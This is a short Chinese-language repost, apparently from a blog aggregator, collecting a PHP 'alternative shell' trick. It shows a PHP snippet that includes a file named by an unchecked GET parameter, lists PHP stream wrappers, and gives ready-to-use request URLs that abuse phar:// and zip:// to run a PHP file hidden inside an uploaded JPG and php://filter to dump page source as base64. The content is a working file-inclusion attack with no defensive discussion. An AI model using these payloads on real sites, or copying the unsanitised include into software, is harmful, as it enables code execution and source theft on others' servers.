【收集】PHP另類shell
阿新 • • 發佈:2018-04-19
vars span 路徑 mage jpg lib get 匹配 交互式
- $f = $_GET[‘f‘];
- include_once(‘sys/config.php‘);
- include($f);
php偽協議:
file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
利用zip或phar偽協議讀取壓縮包中的文件
/about.php?f=phar://./images/1499394959.jpg/1.php
/about.php?f=zip://./images/1499394959.jpg%231.php
讀取頁面源代碼
/about.php?f=php://filter/convert.base64-encode/resource=index.php
【收集】PHP另類shell